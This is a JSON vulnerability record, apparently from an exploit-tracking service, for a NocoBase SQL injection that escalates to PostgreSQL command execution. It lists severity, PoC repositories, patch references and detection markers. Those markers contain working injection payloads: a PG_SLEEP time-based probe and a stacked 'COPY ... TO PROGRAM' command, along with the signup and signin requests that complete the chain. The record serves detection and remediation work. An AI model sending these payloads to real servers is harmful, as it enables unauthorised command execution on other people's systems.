{
  "id": "CVE-2026-52887",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-52887",
  "published_at": "2026-07-15T20:16:43.023Z",
  "title": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE",
  "vendor": "nocobase",
  "product": "nocobase",
  "cvss": {
    "score": 10,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-10-21T15:50:48Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": 97.8,
    "repo": "pentrestion/nocobase-cve-2026-52887",
    "source": "github"
  },
  "poc_repo_count": 1,
  "exploit_count": 0,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.",
  "cwe": "CWE-89",
  "cvss_by_source": {
    "cna": 10
  },
  "repos": [
    {
      "repo": "BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE",
      "url": "https://github.com/BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE",
      "created_at": "2026-08-03T03:54:35Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "no",
      "kind": "detection",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2023-10-29T04:28:01Z"
    },
    {
      "repo": "pentrestion/nocobase-cve-2026-52887",
      "url": "https://github.com/pentrestion/nocobase-cve-2026-52887",
      "created_at": "2026-10-21T15:50:48Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2026-01-09T13:43:16Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "nocobase",
        "product": "nocobase",
        "ranges": [
          "\u003c 2.0.61"
        ],
        "fixed_in": [
          "2.0.61"
        ]
      }
    ],
    "upgrade": [
      "Upgrade nocobase to 2.0.61 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
      }
    ]
  },
  "exploit_refs": [],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/api/auth:signIn",
      "query_markers": [
        "authenticator=basic",
        "authenticator=basic)"
      ],
      "body_markers": [
        "\"account\":\"attacker\"",
        "\"password\":\"Password123!\"",
        "\"account\":\"{var}\"",
        "\"password\":\"{var}\""
      ],
      "content_type": "application/json",
      "ports": [
        13000
      ],
      "protocol": "http",
      "repos": [
        "pentrestion/nocobase-cve-2026-52887"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "pentrestion/nocobase-cve-2026-52887/README.md:60",
        "pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:39"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/auth:signUp",
      "query_markers": [
        "authenticator=basic"
      ],
      "body_markers": [
        "\"username\":\"attacker\"",
        "\"password\":\"Password123!\"",
        "\"confirm_password\":\"Password123!\"",
        "\"username\":\"{var}\"",
        "\"password\":\"{var}\"",
        "\"confirm_password\":\"{var}\""
      ],
      "content_type": "application/json",
      "ports": [
        13000
      ],
      "protocol": "http",
      "repos": [
        "pentrestion/nocobase-cve-2026-52887"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "pentrestion/nocobase-cve-2026-52887/README.md:56",
        "pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:29"
      ]
    },
    {
      "method": "POST",
      "path_template": "/api/myInAppChannels:list",
      "headers": [
        {
          "name": "Authorization",
          "value": "Bearer {var}"
        }
      ],
      "body_markers": [
        "filter[latestMsgReceiveTimestamp][$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))--",
        "filter[latestMsgReceiveTimestamp][$lt]=0); COPY (SELECT 1) TO PROGRAM 'id \u003e /tmp/pwn.txt'; --",
        "filter[latestMsgReceiveTimestamp][$lt]={var}"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        13000
      ],
      "protocol": "http",
      "repos": [
        "pentrestion/nocobase-cve-2026-52887"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "pentrestion/nocobase-cve-2026-52887/README.md:65",
        "pentrestion/nocobase-cve-2026-52887/README.md:77",
        "pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:53"
      ]
    }
  ],
  "rules": []
}
